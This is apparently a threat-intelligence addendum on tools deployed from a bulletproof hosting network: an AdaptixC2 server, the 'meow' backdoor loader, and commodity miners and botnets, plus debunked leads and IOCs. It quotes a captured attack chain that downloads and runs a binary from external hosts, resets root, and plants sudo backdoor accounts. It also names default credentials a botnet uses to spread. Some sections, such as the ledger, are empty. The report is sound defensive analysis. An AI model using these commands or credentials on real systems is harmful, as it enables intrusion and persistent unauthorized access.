The Arsenal on the Floor: Commodity Weapons, Borrowed Ground

TI-2026-088K — Bulletproof Hosting series · Addendum to TI-2026-088 "The DMZHOST Trinity"

Confidence: HIGH for the confirmed tenant capabilities (ThreatFox / VirusTotal / honeypot command capture) and equally HIGH for the negatives — the several tempting threads that do not reproduce in the data, which are reported here with the same weight as the positives.

The finding in one paragraph

088E proved the host weaponizes nothing — the DMZHOST cluster itself exploits no CVEs. This letter asks the next question: when a tenant lands a shell on that bulletproof floor, what does it deploy? The answer, exposed in full, is a study in commodity. The one independently-confirmed command-and-control framework on the network is AdaptixC2 (on 195.178.110.232) — an off-the-shelf, open post-exploitation kit. The one hands-on intrusion tool captured in full is the "meow" loader, which creates backdoor accounts and — tellingly — stages its payload not from the bulletproof floor at all but from Google Cloud IP addresses. Around them sits a corpus of ordinary crimeware the honeypot pulls from intrusions of this class: XMRig miners, the RedTail bot, a Kaiten-style IRC IoT botnet. And then there are the threads that don't survive verification — a "Metasploit C2" that isn't in our data at all, an "external tenant network" that dissolves into a grab-bag of compromised and shared hops, and a roster of "other tenants" the platform cannot actually enumerate. Read together, the arsenal is real, but it is rented, borrowed, and commodity all the way down — the same market logic that governs the shells and the address space governs the weapons too. The operation owns nothing, including its guns.

1. The one confirmed C2 — AdaptixC2

Of the eighteen cluster IPs examined, exactly one carries an independently-confirmed malware-family attribution: 195.178.110.232 (AS48090, DMZHOST), the same AdaptixC2 node examined as the Appraiser's anchor in 088D. Its capability signal is corroborated across three independent sources:

• ThreatFox: classified AdaptixC2 / botnet_cc, with a live IOC.
• VirusTotal: 15 of 61 engines malicious.
• DShield: ~24,779 recorded attacks; ~50 AlienVault OTX pulses.

AdaptixC2 is an open-source, extensible post-exploitation and C2 framework — a commodity Cobalt-Strike-class toolkit that anyone can download and stand up. Its presence identifies the capability on that node (a real C2 channel), not a bespoke actor. This is the important calibration: 195.178.110.232 is a genuine command-and-control server, and it is running a framework any operator could pull from a public repository.

A necessary honesty about the other seventeen nodes. Sixteen of the remaining cluster IPs carry the label botnet / c2_infrastructure — but that label is the classifier's inferred verdict, driven by a reason string of intel_pulses + vt_detections, not an independent per-IP malware-family match. Only 195.178.110.232 has a named family. So the honest statement is precise: the floor has one confirmed C2 framework and a wider population of hosts that behave like C2/botnet infrastructure by statistical proxy. Reporting all sixteen as confirmed AdaptixC2 nodes would be exactly the kind of over-claim this series refuses.

[DOCUMENTED] 195.178.110.232 runs AdaptixC2 (ThreatFox + VT 15/61 + DShield). [INFERRED] the botnet/c2 label on 16 other cluster IPs is proxy classification, not per-IP family confirmation.

2. The hands-on tool — the "meow" loader, staged from Google Cloud

The one intrusion tool the honeypot captured in full is the "meow" loader, confirmed verbatim from command capture. Its post-authentication chain is a complete backdoor-establishment routine:

wget/curl  http://35.237.91.38/meow        (or http://34.181.210.37/meow[arm64])
chmod 777 meow ; ./meow
echo 'root:modzmodz' | chpasswd            # reset the box's root password
useradd admin1 ; useradd user1             # add two backdoor accounts
echo 'admin1:modzmodz' | chpasswd ; usermod -aG sudo admin1
( harvest the original root password to /tmp/mew )

Two details in this chain are worth dwelling on. First, the backdoor discipline: the loader does not merely run a payload — it resets root, plants two named accounts (admin1/user1) with the throwaway password modzmodz, grants admin1 sudo, and exfiltrates the box's original root credential to /tmp/mew. That is a tenant establishing durable, human-usable access, not a fire-and-forget bot. Second, and more revealing: the payload staging hosts — 35.237.91.38 and 34.181.210.37 — are Google Cloud Platform addresses, not cluster members. The tenant runs its intrusions from the bulletproof floor but serves the actual binary from Google's infrastructure. It uses the bulletproof host for the part that needs to survive abuse complaints (the attacking IPs) and borrows clean commodity cloud for the part that just needs to be reachable (the payload). Even the tenant's own supply chain is rented from two different landlords.

One honest limit: the meow binary itself was never captured — a search of retained downloads for "meow" returns zero. We have the command chain that fetches and runs it, verbatim; we do not have the file. So its exact behaviour beyond the account-planting wrapper is inferred from the wrapper, not from the binary.

[DOCUMENTED] the meow loader's command chain, backdoor-account creation, and GCP staging hosts (honeypot command capture). [UNCONFIRMED] the binary's internals — the file was not retained.

3. The payload ecosystem — commodity crimeware, by class

Beyond the two cluster-tied tools, the honeypot's retained sample corpus (84 samples, 302 downloads, 88 unique hashes across 185 source IPs) shows what class of weapon credential-access intrusions of this profile deploy. These families are drawn from the honeypot's broader corpus, and — an important caveat — are catalogued here as the payload ecosystem this kind of tenant activity produces, not as per-IP-confirmed drops on named DMZHOST hosts. With that boundary stated plainly:

• SSH-key backdoors — the single most widespread technique in the corpus: 105 drops across 98 distinct source IPs, planting attacker keys into authorized_keys. This is the quiet, persistent counterpart to the meow loader's noisy account creation — the same objective (durable re-entry) by a stealthier means.
• XMRig cryptominer — multiple ELF variants (the largest ~30 MB, UPX-packed x86). Static analysis of one sample (hash 048e374b…) confirms cryptonight/randomx algorithm strings and the pool endpoints donate.ssl.xmrig.com and nicehash.com. This is the monetisation layer — stolen compute turned into Monero, and it dovetails exactly with the Appraiser's GPU-triage profiler (088D): appraise the compute, then mine it.
• RedTail — a known multi-architecture ELF bot (i686 / arm7 / arm8 / x86_64 / riscv variants, seen 2026-07-09 and -19). Classifier-confirmed family; no embedded C2 IP recovered from the available strings.
• Kaiten/PerlBot-style IRC IoT botnet (severity 100) — static analysis of hash 6d1fe6ab… reveals a full-featured IoT bot: it connects to Undernet IRC (ix1/ix2.undernet.org), joins channel #biret, gates command execution behind an RSA signature on PRIVMSG, self-propagates over SSH using default Raspberry Pi credentials (raspberry / raspberryraspberry993311), plants an authorized_keys backdoor, persists via /etc/rc.local, and references bins.deutschland-zahlung.eu, a domain historically tied to Mirai-family C2.

The through-line of the corpus is that none of it is bespoke. XMRig, RedTail, Kaiten, authorized_keys planting — these are the most commoditised tools in the credential-access economy. The tenants of this floor are not building weapons; they are downloading them.

4. The threads that do not hold — exposing the negatives

The instruction was to expose everything, and everything includes the leads that fail. Three tempting threads, each of which would have made a bigger story, do not survive verification — and saying so is the point.

The "Metasploit C2" at 2.57.122.72 is not in our data. Team Cymru's "Jingle Shells" research (088G) identified 2.57.122.72 as a Metasploit C2 on AS47890, and this series cited that finding. On direct query, 2.57.122.72 returns a 404 in both the honeypot and the intelligence database — it is not in our data at all. The Metasploit-C2 attribution therefore rests entirely on external Team Cymru sourcing and is not reproducible from LSN telemetry. That does not make Team Cymru wrong — it is a reputable external finding — but intellectual honesty requires flagging that our own sensors never observed it, and that any LSN claim about a Metasploit C2 on this prefix is a citation, not an independent observation.

The "external tenant network" dissolves on inspection. A prior investigation linked 195.178.110.232 to four external IPs via a dev:12345678 credential cluster, and earlier letters carried that forward. On fresh graph query, that specific cluster does not reproduce — the current top-relationship graph shows a different cluster (debian:123, tying 92.118.39.14, 80.94.92.179, and two unrelated IPs). And the four "external footprint" IPs, examined individually, are not a coherent tenant infrastructure at all:

A compromised BT home line, a hop from a 1,830-IP global scanner cluster, and two general-abuse hosts do not constitute "the tenant's external network." They constitute noise that a stale credential-cluster edge once stitched together. The honest finding is a debunk: there is no verified coherent external tenant infrastructure hanging off 195.178.110.232 — only shared, compromised, and scanner-cluster IPs that touch it the way thousands of IPs touch each other.

The ISAEV tie and the "other tenants" roster do not exist in the data. 87.251.64.0/24 (AS200730, "ISAEV Igor," a Kazakh-registrant bulletproof-ish prefix) shares generic scanner tooling with the floor but has no entity link or campaign connecting it to AS48090/AS47890. And the platform's operator-cluster and actor-cluster tooling, queried directly, returns zero identity clusters touching this floor — meaning the number of distinct tenant operations beyond The Appraiser cannot currently be determined. The floor is clearly multi-tenant in character, but the data does not let us enumerate the tenants, and pretending otherwise would be invention.

[REJECTED / UNCONFIRMED] the LSN-reproducible Metasploit C2; the coherent external tenant network (the dev:12345678 link and its four IPs); the ISAEV↔DMZHOST tie; an enumerable roster of other tenants. Each is reported as not-established.

5. What survives — and the one new thread that does

Strip away the negatives and a smaller, harder core remains, plus one genuinely new lead:

• Confirmed: AdaptixC2 on 195.178.110.232; the meow backdoor loader (GCP-staged); the commodity payload ecosystem (XMRig, RedTail, Kaiten, authorized_keys backdoors) as the class of weapon deployed here.
• Operational status: all 18 cluster IPs are actively banned on the LSN perimeter (mikrotik-ban / CrowdSec blacklist, scores 91–100) — the floor is not merely catalogued but blocked. (One external IP, 103.143.238.100, carries only the actor_cluster_001 tag and was not pushed to the active ban list — a scanner-cluster hop treated differently from the operator floor.)
• The new thread that does reproduce: the graph ties 195.178.110.232 (via shares_commands/shared_tooling, cluster size 28) to a previously-uncatalogued 91.92.40.x sub-block — .5, .6, .7, .10, .11, .13, .176, .204, .231, .233, .237, .240. That prefix is AS197170 (TechTies), the adjacent operator held apart in 088H. This is not a DMZHOST extension — it is the same tenant's footprint spanning two rival bulletproof hosts, exactly the multi-host-tenant mechanism 088D and 088H described, now with a concrete twelve-host sub-block on the TechTies side. The one thread that survives verification reinforces the series' existing structure rather than opening a new operator.

6. Seven questions

Q1. If the host weaponizes nothing and the tenants use commodity tools, where's the sophistication? There isn't much, and that is the finding. The sophistication in this operation is structural — the shells, the dual-origin routing, the jurisdictional scatter — not technical. The weapons are the cheapest part. A bulletproof host's value proposition is survivability, not innovation, and its tenants buy commodity crimeware because commodity crimeware works.

Q2. Why stage the meow payload from Google Cloud instead of the bulletproof floor? Because the two jobs have different requirements. The attacking IPs must survive abuse complaints, so they live on bulletproof space. The payload host just needs to be reachable and fast, so it borrows clean, free-tier-cheap GCP — which also lends the download a moment of reputational cover. The tenant optimises each link of its chain to a different provider.

Q3. Is AdaptixC2 on one node really the whole C2 story? It is the whole confirmed story. Sixteen other nodes behave like C2 by proxy classification, and it is plausible several run AdaptixC2 or similar — but "plausible" is not "documented," and this report draws that line explicitly. One confirmed C2 framework, a wider proxy-classified population.

Q4. Why publish the debunks so prominently? Because the debunks are load-bearing. If a reader takes away "DMZHOST hosts a Metasploit C2 and a sprawling external network," they have a false map. The true map — one confirmed C2, commodity payloads, no verified external network, unenumerable tenants — is less dramatic and far more accurate. A dossier that buried its negatives would be worse than useless; it would be confidently wrong.

Q5. Does the debian:123 cluster replace the dev:12345678 one — is it the real footprint? No — and that restraint matters. debian:123 is this query's top cluster; it is not established as the tenant's infrastructure any more than dev:12345678 was. The lesson is not "use the new cluster instead" — it is that a single credential-cluster edge is a weak basis for an infrastructure claim, whichever cluster it names.

Q6. The Kaiten bot targets Raspberry Pis — is that this operator? The Kaiten sample is in the honeypot's corpus, showing the payload class in this ecosystem; it is not attributed to a named DMZHOST IP here. Its detail (Undernet #biret, RSA-gated commands, Pi-credential self-propagation) is included as texture of the weapon class, explicitly not as a DMZHOST-cluster attribution. The boundary is the point.

Q7. What would upgrade this from "commodity" to "capable"? A captured meow binary showing bespoke functionality; a named, non-commodity malware family confirmed on multiple cluster nodes; a reproducible C2 infrastructure the tenants own rather than rent. None of that is present. Until it is, the arsenal is commodity, and the honest label is commodity.

7. The counter-narrative, steelmanned — then defeated

Steelman: "You found AdaptixC2, XMRig, RedTail, a Kaiten IoT botnet, SSH-key backdoors, and a credentialled backdoor loader on a Spamhaus-ASN-DROP bulletproof network with 18 actively-banned C2 nodes. That is a serious, well-armed operation. Calling it 'commodity' downplays a genuine threat."

Defeat: Nothing here downplays the threat — an actively-banned, 18-node, backdoor-planting, crypto-mining floor is dangerous, and the report says so. "Commodity" is not a synonym for "harmless"; it is an accurate description of provenance, and provenance drives defence. Weapons that are downloaded rather than built are also detected rather than reverse-engineered: XMRig, RedTail, Kaiten, and AdaptixC2 all have public signatures, and the authorized_keys and useradd admin1 behaviours are trivially alertable. The commodity finding is good news for defenders, precisely because it tells them the whole arsenal is already in the signature databases. Over-selling it as bespoke sophistication would send defenders hunting for a zero-day that isn't there while the actual door — a guessed password and a wget — stays open. The accurate, unglamorous label is the useful one.

8. Read between the lines

Every layer of this operation, examined, turns out to be rented: the UK company credibility (a formation agent's mailbox), the address space (announced under a sponsoring LIR), the routing resilience (RIPE's own IRR), the jurisdictions (flags of convenience), and now the weapons (open-source frameworks) and even the payload staging (Google Cloud). There is, at the centre of all of it, remarkably little that the operator actually owns — no bespoke malware, no proprietary infrastructure, no captured novel tooling. What the operator owns is the orchestration: the discipline to assemble commodity parts into something survivable, to keep no single component load-bearing, and to rent each function from whoever offers it cheapest and most deniably. That is the real nature of modern bulletproof hosting — not a fortress of custom weapons, but a general contractor of deniability, subcontracting every function including the arsenal. The threat is not that these actors are sophisticated. It is that they don't need to be: an entire criminal-service supply chain exists to rent them everything, and their only skill is knowing which drawer to pull each part from.

9. What if

What if defence targeted the seams between the rented components rather than any one weapon? The arsenal is commodity and signatured — block it and the tenant downloads another. But the couplings are specific and observable: the meow loader's admin1/user1 + /tmp/mew behaviour, the GCP staging hosts (35.237.91.38, 34.181.210.37), the AdaptixC2 IOC on 195.178.110.232, the authorized_keys planting pattern. Alerting on those behaviours catches the operation regardless of which commodity binary it swaps in next. And at the structural layer, the series' recurring pivots — the TECHOFF-MNT maintainer, the Bunea sponsorship — remain the durable anchors the commodity arsenal cannot refresh. You do not defeat a general contractor of deniability by out-signaturing its weapons; you defeat it by refusing to look at one rented component at a time.

10. Documented vs inferred — the honest ledger

11. Infrastructure & IOCs

Confirmed C2        195.178.110.232 (AS48090)  AdaptixC2  ThreatFox botnet_cc | VT 15/61 | DShield ~24,779
Hands-on loader     "meow"  staging http://35.237.91.38/meow · http://34.181.210.37/meow[arm64]  (GCP, NOT the floor)
                    chain: wget|curl -> chmod 777 -> ./meow -> chpasswd root:modzmodz
                           -> useradd admin1/user1 (modzmodz) -> usermod -aG sudo admin1 -> harvest root pw to /tmp/mew
                    (binary itself NOT captured)
Payload ecosystem   XMRig (cryptonight/randomx; donate.ssl.xmrig.com; hash 048e374b…)
   (corpus-level,   RedTail (multi-arch ELF i686/arm7/arm8/x86_64/riscv)
    not per-IP)     Kaiten/PerlBot IRC bot (Undernet ix1/ix2.undernet.org #biret; RSA-gated PRIVMSG;
                       self-prop raspberry/raspberryraspberry993311; /etc/rc.local; bins.deutschland-zahlung.eu; hash 6d1fe6ab…)
                    SSH authorized_keys backdoors (105 drops / 98 IPs — most widespread technique)
Tenant sub-block    91.92.40.{5,6,7,10,11,13,176,204,231,233,237,240}  (AS197170 TechTies — shared tenant, per 088H)
Perimeter status    all 18 cluster IPs actively banned (mikrotik-ban / CrowdSec, 91–100)

NOT ESTABLISHED (published as negatives):
  2.57.122.72 "Metasploit C2"   -> 404 in LSN data (external Team Cymru claim only)
  dev:12345678 external network -> not reproduced; 43.245.97.82 / 185.141.24.44 / 103.143.238.100 / 86.139.23.230 = grab-bag
  87.251.64.0/24 (ISAEV) tie    -> no entity link
  count of other tenants        -> unenumerable (operator-clusters returns 0)

Defensive action: treat the tenant arsenal as commodity and signatured — AdaptixC2, XMRig, RedTail, Kaiten, and authorized_keys planting are all publicly detectable; block on their signatures and behaviours (esp. the meow admin1//tmp/mew pattern and the GCP staging hosts). Do not chase a bespoke capability that the evidence says is not there. Keep the durable structural pivots (TECHOFF-MNT, the Bunea sponsorship) as the tracking anchors, since the commodity arsenal is infinitely refreshable but the orchestration is not. Do not propagate the Metasploit/2.57.122.72, external-network, or ISAEV claims as LSN-confirmed — they are not.

12. Sources

LSN honeypot (honeypot_ip_dossier ×18 cluster IPs; honeypot_commands for the meow chain; honeypot_samples / honeypot_downloads_intelligence / honeypot_sample_analysis for the payload corpus and static analysis; honeypot_ioc_feed for ban status; honeypot_operator_clusters / honeypot_actor_clusters_export — returned empty); sec_intel_ip_dossier (external IPs; 2.57.122.72 404); ThreatFox (AdaptixC2), VirusTotal, DShield, AlienVault OTX (per-IP reputation); sec_intel_find_related(195.178.110.232) (the 91.92.40.x tenant sub-block). External: Team Cymru "Jingle Shells" (the 2.57.122.72 Metasploit claim, flagged as not LSN-reproducible). Cross-references: 088D (the tenant), 088E (host non-weaponization), 088H (the adjacent operator / shared tenant). TLP:WHITE.